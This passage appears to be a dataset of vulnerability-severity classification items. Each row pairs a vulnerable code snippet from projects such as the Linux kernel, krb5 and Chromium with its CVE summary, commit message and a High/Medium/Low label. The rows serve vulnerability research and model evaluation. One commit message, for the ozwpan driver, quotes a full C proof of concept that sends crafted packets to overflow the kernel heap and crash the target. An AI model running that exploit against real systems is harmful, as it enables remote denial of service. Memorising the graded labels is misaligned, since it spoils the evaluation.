instruction
stringclasses 1
value | input
stringlengths 306
235k
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stringclasses 3
values | __index_level_0__
int64 165k
175k
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|---|---|---|---|
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: const CuePoint::TrackPosition* CuePoint::Find(const Track* pTrack) const
{
assert(pTrack);
const long long n = pTrack->GetNumber();
const TrackPosition* i = m_track_positions;
const TrackPosition* const j = i + m_track_positions_count;
while (i != j)
{
const TrackPosition& p = *i++;
if (p.m_track == n)
return &p;
}
return NULL; //no matching track number found
}
Vulnerability Type: DoS Exec Code Overflow Mem. Corr.
CWE ID: CWE-119
Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792.
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 | High | 174,278 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void flush_tlb_page(struct vm_area_struct *vma, unsigned long start)
{
struct mm_struct *mm = vma->vm_mm;
preempt_disable();
if (current->active_mm == mm) {
if (current->mm)
__flush_tlb_one(start);
else
leave_mm(smp_processor_id());
}
if (cpumask_any_but(mm_cpumask(mm), smp_processor_id()) < nr_cpu_ids)
flush_tlb_others(mm_cpumask(mm), mm, start, 0UL);
preempt_enable();
}
Vulnerability Type: +Priv
CWE ID: CWE-362
Summary: Race condition in arch/x86/mm/tlb.c in the Linux kernel before 4.4.1 allows local users to gain privileges by triggering access to a paging structure by a different CPU.
Commit Message: x86/mm: Add barriers and document switch_mm()-vs-flush synchronization
When switch_mm() activates a new PGD, it also sets a bit that
tells other CPUs that the PGD is in use so that TLB flush IPIs
will be sent. In order for that to work correctly, the bit
needs to be visible prior to loading the PGD and therefore
starting to fill the local TLB.
Document all the barriers that make this work correctly and add
a couple that were missing.
Signed-off-by: Andy Lutomirski <[email protected]>
Cc: Andrew Morton <[email protected]>
Cc: Andy Lutomirski <[email protected]>
Cc: Borislav Petkov <[email protected]>
Cc: Brian Gerst <[email protected]>
Cc: Dave Hansen <[email protected]>
Cc: Denys Vlasenko <[email protected]>
Cc: H. Peter Anvin <[email protected]>
Cc: Linus Torvalds <[email protected]>
Cc: Peter Zijlstra <[email protected]>
Cc: Rik van Riel <[email protected]>
Cc: Thomas Gleixner <[email protected]>
Cc: [email protected]
Cc: [email protected]
Signed-off-by: Ingo Molnar <[email protected]> | Medium | 167,441 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: kadm5_create_principal_3(void *server_handle,
kadm5_principal_ent_t entry, long mask,
int n_ks_tuple, krb5_key_salt_tuple *ks_tuple,
char *password)
{
krb5_db_entry *kdb;
osa_princ_ent_rec adb;
kadm5_policy_ent_rec polent;
krb5_boolean have_polent = FALSE;
krb5_int32 now;
krb5_tl_data *tl_data_tail;
unsigned int ret;
kadm5_server_handle_t handle = server_handle;
krb5_keyblock *act_mkey;
krb5_kvno act_kvno;
int new_n_ks_tuple = 0;
krb5_key_salt_tuple *new_ks_tuple = NULL;
CHECK_HANDLE(server_handle);
krb5_clear_error_message(handle->context);
check_1_6_dummy(entry, mask, n_ks_tuple, ks_tuple, &password);
/*
* Argument sanity checking, and opening up the DB
*/
if(!(mask & KADM5_PRINCIPAL) || (mask & KADM5_MOD_NAME) ||
(mask & KADM5_MOD_TIME) || (mask & KADM5_LAST_PWD_CHANGE) ||
(mask & KADM5_MKVNO) || (mask & KADM5_AUX_ATTRIBUTES) ||
(mask & KADM5_LAST_SUCCESS) || (mask & KADM5_LAST_FAILED) ||
(mask & KADM5_FAIL_AUTH_COUNT))
return KADM5_BAD_MASK;
if ((mask & KADM5_KEY_DATA) && entry->n_key_data != 0)
return KADM5_BAD_MASK;
if((mask & KADM5_POLICY) && (mask & KADM5_POLICY_CLR))
return KADM5_BAD_MASK;
if((mask & ~ALL_PRINC_MASK))
return KADM5_BAD_MASK;
if (entry == NULL)
return EINVAL;
/*
* Check to see if the principal exists
*/
ret = kdb_get_entry(handle, entry->principal, &kdb, &adb);
switch(ret) {
case KADM5_UNK_PRINC:
break;
case 0:
kdb_free_entry(handle, kdb, &adb);
return KADM5_DUP;
default:
return ret;
}
kdb = krb5_db_alloc(handle->context, NULL, sizeof(*kdb));
if (kdb == NULL)
return ENOMEM;
memset(kdb, 0, sizeof(*kdb));
memset(&adb, 0, sizeof(osa_princ_ent_rec));
/*
* If a policy was specified, load it.
* If we can not find the one specified return an error
*/
if ((mask & KADM5_POLICY)) {
ret = get_policy(handle, entry->policy, &polent, &have_polent);
if (ret)
goto cleanup;
}
if (password) {
ret = passwd_check(handle, password, have_polent ? &polent : NULL,
entry->principal);
if (ret)
goto cleanup;
}
/*
* Start populating the various DB fields, using the
* "defaults" for fields that were not specified by the
* mask.
*/
if ((ret = krb5_timeofday(handle->context, &now)))
goto cleanup;
kdb->magic = KRB5_KDB_MAGIC_NUMBER;
kdb->len = KRB5_KDB_V1_BASE_LENGTH; /* gag me with a chainsaw */
if ((mask & KADM5_ATTRIBUTES))
kdb->attributes = entry->attributes;
else
kdb->attributes = handle->params.flags;
if ((mask & KADM5_MAX_LIFE))
kdb->max_life = entry->max_life;
else
kdb->max_life = handle->params.max_life;
if (mask & KADM5_MAX_RLIFE)
kdb->max_renewable_life = entry->max_renewable_life;
else
kdb->max_renewable_life = handle->params.max_rlife;
if ((mask & KADM5_PRINC_EXPIRE_TIME))
kdb->expiration = entry->princ_expire_time;
else
kdb->expiration = handle->params.expiration;
kdb->pw_expiration = 0;
if (have_polent) {
if(polent.pw_max_life)
kdb->pw_expiration = now + polent.pw_max_life;
else
kdb->pw_expiration = 0;
}
if ((mask & KADM5_PW_EXPIRATION))
kdb->pw_expiration = entry->pw_expiration;
kdb->last_success = 0;
kdb->last_failed = 0;
kdb->fail_auth_count = 0;
/* this is kind of gross, but in order to free the tl data, I need
to free the entire kdb entry, and that will try to free the
principal. */
if ((ret = kadm5_copy_principal(handle->context,
entry->principal, &(kdb->princ))))
goto cleanup;
if ((ret = krb5_dbe_update_last_pwd_change(handle->context, kdb, now)))
goto cleanup;
if (mask & KADM5_TL_DATA) {
/* splice entry->tl_data onto the front of kdb->tl_data */
for (tl_data_tail = entry->tl_data; tl_data_tail;
tl_data_tail = tl_data_tail->tl_data_next)
{
ret = krb5_dbe_update_tl_data(handle->context, kdb, tl_data_tail);
if( ret )
goto cleanup;
}
}
/*
* We need to have setup the TL data, so we have strings, so we can
* check enctype policy, which is why we check/initialize ks_tuple
* this late.
*/
ret = apply_keysalt_policy(handle, entry->policy, n_ks_tuple, ks_tuple,
&new_n_ks_tuple, &new_ks_tuple);
if (ret)
goto cleanup;
/* initialize the keys */
ret = kdb_get_active_mkey(handle, &act_kvno, &act_mkey);
if (ret)
goto cleanup;
if (mask & KADM5_KEY_DATA) {
/* The client requested no keys for this principal. */
assert(entry->n_key_data == 0);
} else if (password) {
ret = krb5_dbe_cpw(handle->context, act_mkey, new_ks_tuple,
new_n_ks_tuple, password,
(mask & KADM5_KVNO)?entry->kvno:1,
FALSE, kdb);
} else {
/* Null password means create with random key (new in 1.8). */
ret = krb5_dbe_crk(handle->context, &master_keyblock,
new_ks_tuple, new_n_ks_tuple, FALSE, kdb);
}
if (ret)
goto cleanup;
/* Record the master key VNO used to encrypt this entry's keys */
ret = krb5_dbe_update_mkvno(handle->context, kdb, act_kvno);
if (ret)
goto cleanup;
ret = k5_kadm5_hook_create(handle->context, handle->hook_handles,
KADM5_HOOK_STAGE_PRECOMMIT, entry, mask,
new_n_ks_tuple, new_ks_tuple, password);
if (ret)
goto cleanup;
/* populate the admin-server-specific fields. In the OV server,
this used to be in a separate database. Since there's already
marshalling code for the admin fields, to keep things simple,
I'm going to keep it, and make all the admin stuff occupy a
single tl_data record, */
adb.admin_history_kvno = INITIAL_HIST_KVNO;
if (mask & KADM5_POLICY) {
adb.aux_attributes = KADM5_POLICY;
/* this does *not* need to be strdup'ed, because adb is xdr */
/* encoded in osa_adb_create_princ, and not ever freed */
adb.policy = entry->policy;
}
/* In all cases key and the principal data is set, let the database provider know */
kdb->mask = mask | KADM5_KEY_DATA | KADM5_PRINCIPAL ;
/* store the new db entry */
ret = kdb_put_entry(handle, kdb, &adb);
(void) k5_kadm5_hook_create(handle->context, handle->hook_handles,
KADM5_HOOK_STAGE_POSTCOMMIT, entry, mask,
new_n_ks_tuple, new_ks_tuple, password);
cleanup:
free(new_ks_tuple);
krb5_db_free_principal(handle->context, kdb);
if (have_polent)
(void) kadm5_free_policy_ent(handle->lhandle, &polent);
return ret;
}
Vulnerability Type: DoS
CWE ID:
Summary: The (1) kadm5_create_principal_3 and (2) kadm5_modify_principal functions in lib/kadm5/srv/svr_principal.c in kadmind in MIT Kerberos 5 (aka krb5) 1.12.x and 1.13.x before 1.13.4 and 1.14.x before 1.14.1 allow remote authenticated users to cause a denial of service (NULL pointer dereference and daemon crash) by specifying KADM5_POLICY with a NULL policy name.
Commit Message: Check for null kadm5 policy name [CVE-2015-8630]
In kadm5_create_principal_3() and kadm5_modify_principal(), check for
entry->policy being null when KADM5_POLICY is included in the mask.
CVE-2015-8630:
In MIT krb5 1.12 and later, an authenticated attacker with permission
to modify a principal entry can cause kadmind to dereference a null
pointer by supplying a null policy value but including KADM5_POLICY in
the mask.
CVSSv2 Vector: AV:N/AC:H/Au:S/C:N/I:N/A:C/E:POC/RL:OF/RC:C
ticket: 8342 (new)
target_version: 1.14-next
target_version: 1.13-next
tags: pullup | Medium | 167,528 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static struct dentry *ecryptfs_mount(struct file_system_type *fs_type, int flags,
const char *dev_name, void *raw_data)
{
struct super_block *s;
struct ecryptfs_sb_info *sbi;
struct ecryptfs_dentry_info *root_info;
const char *err = "Getting sb failed";
struct inode *inode;
struct path path;
uid_t check_ruid;
int rc;
sbi = kmem_cache_zalloc(ecryptfs_sb_info_cache, GFP_KERNEL);
if (!sbi) {
rc = -ENOMEM;
goto out;
}
rc = ecryptfs_parse_options(sbi, raw_data, &check_ruid);
if (rc) {
err = "Error parsing options";
goto out;
}
s = sget(fs_type, NULL, set_anon_super, flags, NULL);
if (IS_ERR(s)) {
rc = PTR_ERR(s);
goto out;
}
rc = bdi_setup_and_register(&sbi->bdi, "ecryptfs", BDI_CAP_MAP_COPY);
if (rc)
goto out1;
ecryptfs_set_superblock_private(s, sbi);
s->s_bdi = &sbi->bdi;
/* ->kill_sb() will take care of sbi after that point */
sbi = NULL;
s->s_op = &ecryptfs_sops;
s->s_d_op = &ecryptfs_dops;
err = "Reading sb failed";
rc = kern_path(dev_name, LOOKUP_FOLLOW | LOOKUP_DIRECTORY, &path);
if (rc) {
ecryptfs_printk(KERN_WARNING, "kern_path() failed\n");
goto out1;
}
if (path.dentry->d_sb->s_type == &ecryptfs_fs_type) {
rc = -EINVAL;
printk(KERN_ERR "Mount on filesystem of type "
"eCryptfs explicitly disallowed due to "
"known incompatibilities\n");
goto out_free;
}
if (check_ruid && !uid_eq(path.dentry->d_inode->i_uid, current_uid())) {
rc = -EPERM;
printk(KERN_ERR "Mount of device (uid: %d) not owned by "
"requested user (uid: %d)\n",
i_uid_read(path.dentry->d_inode),
from_kuid(&init_user_ns, current_uid()));
goto out_free;
}
ecryptfs_set_superblock_lower(s, path.dentry->d_sb);
/**
* Set the POSIX ACL flag based on whether they're enabled in the lower
* mount. Force a read-only eCryptfs mount if the lower mount is ro.
* Allow a ro eCryptfs mount even when the lower mount is rw.
*/
s->s_flags = flags & ~MS_POSIXACL;
s->s_flags |= path.dentry->d_sb->s_flags & (MS_RDONLY | MS_POSIXACL);
s->s_maxbytes = path.dentry->d_sb->s_maxbytes;
s->s_blocksize = path.dentry->d_sb->s_blocksize;
s->s_magic = ECRYPTFS_SUPER_MAGIC;
inode = ecryptfs_get_inode(path.dentry->d_inode, s);
rc = PTR_ERR(inode);
if (IS_ERR(inode))
goto out_free;
s->s_root = d_make_root(inode);
if (!s->s_root) {
rc = -ENOMEM;
goto out_free;
}
rc = -ENOMEM;
root_info = kmem_cache_zalloc(ecryptfs_dentry_info_cache, GFP_KERNEL);
if (!root_info)
goto out_free;
/* ->kill_sb() will take care of root_info */
ecryptfs_set_dentry_private(s->s_root, root_info);
root_info->lower_path = path;
s->s_flags |= MS_ACTIVE;
return dget(s->s_root);
out_free:
path_put(&path);
out1:
deactivate_locked_super(s);
out:
if (sbi) {
ecryptfs_destroy_mount_crypt_stat(&sbi->mount_crypt_stat);
kmem_cache_free(ecryptfs_sb_info_cache, sbi);
}
printk(KERN_ERR "%s; rc = [%d]\n", err, rc);
return ERR_PTR(rc);
}
Vulnerability Type: +Priv
CWE ID: CWE-264
Summary: The eCryptfs subsystem in the Linux kernel before 3.18 allows local users to gain privileges via a large filesystem stack that includes an overlayfs layer, related to fs/ecryptfs/main.c and fs/overlayfs/super.c.
Commit Message: fs: limit filesystem stacking depth
Add a simple read-only counter to super_block that indicates how deep this
is in the stack of filesystems. Previously ecryptfs was the only stackable
filesystem and it explicitly disallowed multiple layers of itself.
Overlayfs, however, can be stacked recursively and also may be stacked
on top of ecryptfs or vice versa.
To limit the kernel stack usage we must limit the depth of the
filesystem stack. Initially the limit is set to 2.
Signed-off-by: Miklos Szeredi <[email protected]> | High | 168,895 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
int length, int offset, int total_size)
{
struct oz_port *port = hport;
struct urb *urb;
int err = 0;
oz_dbg(ON, "oz_hcd_get_desc_cnf length = %d offs = %d tot_size = %d\n",
length, offset, total_size);
urb = oz_find_urb_by_id(port, 0, req_id);
if (!urb)
return;
if (status == 0) {
int copy_len;
int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
copy_len = required_size-offset;
if (length <= copy_len)
copy_len = length;
memcpy(urb->transfer_buffer+offset, desc, copy_len);
offset += copy_len;
if (offset < required_size) {
struct usb_ctrlrequest *setup =
(struct usb_ctrlrequest *)urb->setup_packet;
unsigned wvalue = le16_to_cpu(setup->wValue);
if (oz_enqueue_ep_urb(port, 0, 0, urb, req_id))
err = -ENOMEM;
else if (oz_usb_get_desc_req(port->hpd, req_id,
setup->bRequestType, (u8)(wvalue>>8),
(u8)wvalue, setup->wIndex, offset,
required_size-offset)) {
oz_dequeue_ep_urb(port, 0, 0, urb);
err = -ENOMEM;
}
if (err == 0)
return;
}
}
urb->actual_length = total_size;
oz_complete_urb(port->ozhcd->hcd, urb, 0);
}
Vulnerability Type: DoS Exec Code
CWE ID: CWE-189
Summary: Integer signedness error in the oz_hcd_get_desc_cnf function in drivers/staging/ozwpan/ozhcd.c in the OZWPAN driver in the Linux kernel through 4.0.5 allows remote attackers to cause a denial of service (system crash) or possibly execute arbitrary code via a crafted packet.
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
Acked-by: Dan Carpenter <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]> | High | 166,619 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void InProcessBrowserTest::PrepareTestCommandLine(CommandLine* command_line) {
test_launcher_utils::PrepareBrowserCommandLineForTests(command_line);
command_line->AppendSwitchASCII(switches::kTestType, kBrowserTestType);
#if defined(OS_WIN)
if (command_line->HasSwitch(switches::kAshBrowserTests)) {
command_line->AppendSwitchNative(switches::kViewerLaunchViaAppId,
win8::test::kDefaultTestAppUserModelId);
command_line->AppendSwitch(switches::kSilentLaunch);
}
#endif
#if defined(OS_MACOSX)
base::FilePath subprocess_path;
PathService::Get(base::FILE_EXE, &subprocess_path);
subprocess_path = subprocess_path.DirName().DirName();
DCHECK_EQ(subprocess_path.BaseName().value(), "Contents");
subprocess_path =
subprocess_path.Append("Versions").Append(chrome::kChromeVersion);
subprocess_path =
subprocess_path.Append(chrome::kHelperProcessExecutablePath);
command_line->AppendSwitchPath(switches::kBrowserSubprocessPath,
subprocess_path);
#endif
if (exit_when_last_browser_closes_)
command_line->AppendSwitch(switches::kDisableZeroBrowsersOpenForTests);
if (command_line->GetArgs().empty())
command_line->AppendArg(url::kAboutBlankURL);
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: The SVG implementation in Blink, as used in Google Chrome before 31.0.1650.48, allows remote attackers to cause a denial of service (out-of-bounds read) by leveraging the use of tree order, rather than transitive dependency order, for layout.
Commit Message: Make the policy fetch for first time login blocking
The CL makes policy fetching for first time login blocking for all users, except the ones that are known to be non-enterprise users.
BUG=334584
Review URL: https://codereview.chromium.org/330843002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@282925 0039d316-1c4b-4281-b951-d872f2087c98 | Medium | 171,152 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void OnSuggestionModelAdded(UiScene* scene,
UiBrowserInterface* browser,
Model* model,
SuggestionBinding* element_binding) {
auto icon = base::MakeUnique<VectorIcon>(100);
icon->SetDrawPhase(kPhaseForeground);
icon->SetType(kTypeOmniboxSuggestionIcon);
icon->set_hit_testable(false);
icon->SetSize(kSuggestionIconSizeDMM, kSuggestionIconSizeDMM);
BindColor(model, icon.get(), &ColorScheme::omnibox_icon,
&VectorIcon::SetColor);
VectorIcon* p_icon = icon.get();
auto icon_box = base::MakeUnique<UiElement>();
icon_box->SetDrawPhase(kPhaseNone);
icon_box->SetType(kTypeOmniboxSuggestionIconField);
icon_box->SetSize(kSuggestionIconFieldWidthDMM, kSuggestionHeightDMM);
icon_box->AddChild(std::move(icon));
auto content_text = base::MakeUnique<Text>(kSuggestionContentTextHeightDMM);
content_text->SetDrawPhase(kPhaseForeground);
content_text->SetType(kTypeOmniboxSuggestionContentText);
content_text->set_hit_testable(false);
content_text->SetTextLayoutMode(TextLayoutMode::kSingleLineFixedWidth);
content_text->SetSize(kSuggestionTextFieldWidthDMM, 0);
content_text->SetTextAlignment(UiTexture::kTextAlignmentLeft);
BindColor(model, content_text.get(), &ColorScheme::omnibox_suggestion_content,
&Text::SetColor);
Text* p_content_text = content_text.get();
auto description_text =
base::MakeUnique<Text>(kSuggestionDescriptionTextHeightDMM);
description_text->SetDrawPhase(kPhaseForeground);
description_text->SetType(kTypeOmniboxSuggestionDescriptionText);
description_text->set_hit_testable(false);
content_text->SetTextLayoutMode(TextLayoutMode::kSingleLineFixedWidth);
description_text->SetSize(kSuggestionTextFieldWidthDMM, 0);
description_text->SetTextAlignment(UiTexture::kTextAlignmentLeft);
BindColor(model, description_text.get(),
&ColorScheme::omnibox_suggestion_description, &Text::SetColor);
Text* p_description_text = description_text.get();
auto text_layout = base::MakeUnique<LinearLayout>(LinearLayout::kDown);
text_layout->SetType(kTypeOmniboxSuggestionTextLayout);
text_layout->set_hit_testable(false);
text_layout->set_margin(kSuggestionLineGapDMM);
text_layout->AddChild(std::move(content_text));
text_layout->AddChild(std::move(description_text));
auto right_margin = base::MakeUnique<UiElement>();
right_margin->SetDrawPhase(kPhaseNone);
right_margin->SetSize(kSuggestionRightMarginDMM, kSuggestionHeightDMM);
auto suggestion_layout = base::MakeUnique<LinearLayout>(LinearLayout::kRight);
suggestion_layout->SetType(kTypeOmniboxSuggestionLayout);
suggestion_layout->set_hit_testable(false);
suggestion_layout->AddChild(std::move(icon_box));
suggestion_layout->AddChild(std::move(text_layout));
suggestion_layout->AddChild(std::move(right_margin));
auto background = Create<Button>(
kNone, kPhaseForeground,
base::BindRepeating(
[](UiBrowserInterface* b, Model* m, SuggestionBinding* e) {
b->Navigate(e->model()->destination);
m->omnibox_input_active = false;
},
base::Unretained(browser), base::Unretained(model),
base::Unretained(element_binding)));
background->SetType(kTypeOmniboxSuggestionBackground);
background->set_hit_testable(true);
background->set_bubble_events(true);
background->set_bounds_contain_children(true);
background->set_hover_offset(0.0);
BindButtonColors(model, background.get(),
&ColorScheme::suggestion_button_colors,
&Button::SetButtonColors);
background->AddChild(std::move(suggestion_layout));
element_binding->bindings().push_back(
VR_BIND_FUNC(base::string16, SuggestionBinding, element_binding,
model()->content, Text, p_content_text, SetText));
element_binding->bindings().push_back(
base::MakeUnique<Binding<base::string16>>(
base::BindRepeating(
[](SuggestionBinding* m) { return m->model()->description; },
base::Unretained(element_binding)),
base::BindRepeating(
[](Text* v, const base::string16& text) {
v->SetVisibleImmediately(!text.empty());
v->set_requires_layout(!text.empty());
if (!text.empty()) {
v->SetText(text);
}
},
base::Unretained(p_description_text))));
element_binding->bindings().push_back(
VR_BIND(AutocompleteMatch::Type, SuggestionBinding, element_binding,
model()->type, VectorIcon, p_icon,
SetIcon(AutocompleteMatch::TypeToVectorIcon(value))));
element_binding->set_view(background.get());
scene->AddUiElement(kOmniboxSuggestions, std::move(background));
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: Uninitialized data in WebRTC in Google Chrome prior to 67.0.3396.62 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted video file.
Commit Message: Fix wrapping behavior of description text in omnibox suggestion
This regression is introduced by
https://chromium-review.googlesource.com/c/chromium/src/+/827033
The description text should not wrap.
Bug: NONE
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: Iaac5e6176e1730853406602835d61fe1e80ec0d0
Reviewed-on: https://chromium-review.googlesource.com/839960
Reviewed-by: Christopher Grant <[email protected]>
Commit-Queue: Biao She <[email protected]>
Cr-Commit-Position: refs/heads/master@{#525806} | Medium | 173,221 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int em_jmp_far(struct x86_emulate_ctxt *ctxt)
{
int rc;
unsigned short sel;
memcpy(&sel, ctxt->src.valptr + ctxt->op_bytes, 2);
rc = load_segment_descriptor(ctxt, sel, VCPU_SREG_CS);
if (rc != X86EMUL_CONTINUE)
return rc;
ctxt->_eip = 0;
memcpy(&ctxt->_eip, ctxt->src.valptr, ctxt->op_bytes);
return X86EMUL_CONTINUE;
}
Vulnerability Type: DoS
CWE ID: CWE-264
Summary: arch/x86/kvm/emulate.c in the KVM subsystem in the Linux kernel through 3.17.2 does not properly perform RIP changes, which allows guest OS users to cause a denial of service (guest OS crash) via a crafted application.
Commit Message: KVM: x86: Handle errors when RIP is set during far jumps
Far jmp/call/ret may fault while loading a new RIP. Currently KVM does not
handle this case, and may result in failed vm-entry once the assignment is
done. The tricky part of doing so is that loading the new CS affects the
VMCS/VMCB state, so if we fail during loading the new RIP, we are left in
unconsistent state. Therefore, this patch saves on 64-bit the old CS
descriptor and restores it if loading RIP failed.
This fixes CVE-2014-3647.
Cc: [email protected]
Signed-off-by: Nadav Amit <[email protected]>
Signed-off-by: Paolo Bonzini <[email protected]> | Low | 166,339 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void XSSAuditor::Init(Document* document,
XSSAuditorDelegate* auditor_delegate) {
DCHECK(IsMainThread());
if (state_ != kUninitialized)
return;
state_ = kFilteringTokens;
if (Settings* settings = document->GetSettings())
is_enabled_ = settings->GetXSSAuditorEnabled();
if (!is_enabled_)
return;
document_url_ = document->Url().Copy();
if (!document->GetFrame()) {
